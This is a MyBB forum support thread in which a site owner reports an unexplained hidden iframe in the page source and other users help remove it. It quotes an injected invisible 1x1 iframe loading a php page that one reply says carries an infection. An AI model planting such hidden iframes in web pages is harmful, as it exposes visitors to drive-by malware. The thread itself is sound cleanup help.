In the first page, when I see source, I see:
</body>
</html>
<!-- end: index --><iframe name="EqYjYsYmYH" src="http://joshwilkins.sytes.net/phpfiles/bscwcljsknxsxqhpxm.php" marginwidth="1" marginheight="0" title="YWepULaTer" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe>
I didn't write this iframe.. I haven't any idea how his here..
In topic or other (not in index) I didn't see this iframe..
What to edit, because I want delete iframe...
I check .sql, many files, but didn't find... PLEASE HELP
ACP -> Styles/Templates-> Templates -> *your template name* Templates -> Footer Templates -> Footer
Remove that iframe from the bottom, then check your access logs, this appears to be a hacking attempt.
I'm pretty sure that can't be in the templates, at it's after <!-- end: index -->
Download a fresh copy of MyBB and reupload all the files, overwriting the existing ones.
(2010-10-10, 08:51 AM)Kyuubi Wrote: [ -> ]ACP -> Styles/Templates-> Templates -> *your template name* Templates -> Footer Templates -> Footer
Remove that iframe from the bottom, then check your access logs, this appears to be a hacking attempt.
My footer:
<div align="center">
<div id="debug"><debugstuff></div>
</div>
</div>
<div id="footer">
<div class="upper">
<div class="wrapper">
{$lang_select}
<ul class="menu bottom_links">
<li><a href="{$mybb->settings['contactlink']}">{$lang->bottomlinks_contactus}</a></li>
<li><a href="{$mybb->settings['homeurl']}">{$mybb->settings['homename']}</a></li>
<li><a href="#top">{$lang->bottomlinks_returntop}</a></li>
<li><a href="<archive_url>">{$lang->bottomlinks_litemode}</a></li>
<li><a href="{$mybb->settings['bburl']}/misc.php?action=syndication">{$lang->bottomlinks_syndication}</a></li>
<li><a href="{$mybb->settings['bburl']}/misc.php?action=help" class="help">{$lang->toplinks_help}</a></li>
<li><a href="http://www.webproxyonline.info">Online Proxy</a></li>
</ul>
</div>
</div>
<div class="lower">
<div class="wrapper">
<span id="current_time">{$lang->welcome_current_time}</span>
<span id="copyright">
<!-- MyBB is free software developed and maintained by a volunteer community.
It would be much appreciated by the MyBB Group if you left the full copyright and "powered by" notice intact,
to show your support for MyBB. If you choose to remove or modify the copyright below,
you may be refused support on the MyBB Community Forums.
This is free software, support us and we'll support you. -->
{$lang->powered_by} <a href="http://www.mybboard.net" target="_blank">MyBB{$mybbversion}</a>, © 2002-{$copy_year} <a href="http://www.mybboard.net" target="_blank">MyBB Group</a>.
<!-- End powered by -->
</span>
<span id="theme">
<!-- Apart is a series of twelve simple, beautiful themes released completely free of charge.
You love Apart - that's why you're using it - so why prevent others from finding Apart
by removing this short, simple created by statement? If you make changes to this theme,
feel free to modify the created by statement, as long as the originial credit remains
intact. Furthermore, if you remove or unjustly modify this simple statement, you will
be refused support for the theme.
Thanks for your consideration, and best of luck with your forum.
- Justin S., bellomandesign.com
-->
Theme created by <a href="http://bellomandesign.com/" target="_blank">Justin S.</a>
<!-- End theme created by statement -->
</span>
</div>
</div>
</div>
<!-- The following piece of code allows MyBB to run scheduled tasks. DO NOT REMOVE -->{$task_image}<!-- End task image code -->
{$auto_dst_detection}
</div>
I didn't see any iframe :/
(2010-10-10, 08:52 AM)AJS Wrote: [ -> ]I'm pretty sure that can't be in the templates, at it's after <!-- end: index -->
Download a fresh copy of MyBB and reupload all the files, overwriting the existing ones.
Thanks, its work
But anyway, mybb newest version has some bugs? :?
There are no known issues, things like this can happen via the host itself. Ask your host if they can help you track down how it happened.
i bet $10 it's a free host an is using PHP's core
auto_append_file
function, or similar, to implent their codes.
for example; i know 000webhost is doing it *silently* and spy out hosted sites visitors with it. there are probably many free hosts doing it since selling userinfos is a good income respective gives the company the opportunity to work out enhanced advertisment methods.
You'll always find the following codebit on all their free hosted sites (no idea about paid):
<!-- www.000webhost.com Analytics Code -->
<script type="text/javascript" src="http://analytics.hosting24.com/count.php"></script>
<noscript><a href="http://www.hosting24.com/"><img src="http://analytics.hosting24.com/count.php" alt="web hosting" /></a></noscript>
<!-- End Of Analytics Code -->
they however give the option to disable that code from within the hosts control panel.
That's a good point, they do do that.
I just went to the URL of the iframe src, it contains an infection. So someone likely hacked the site.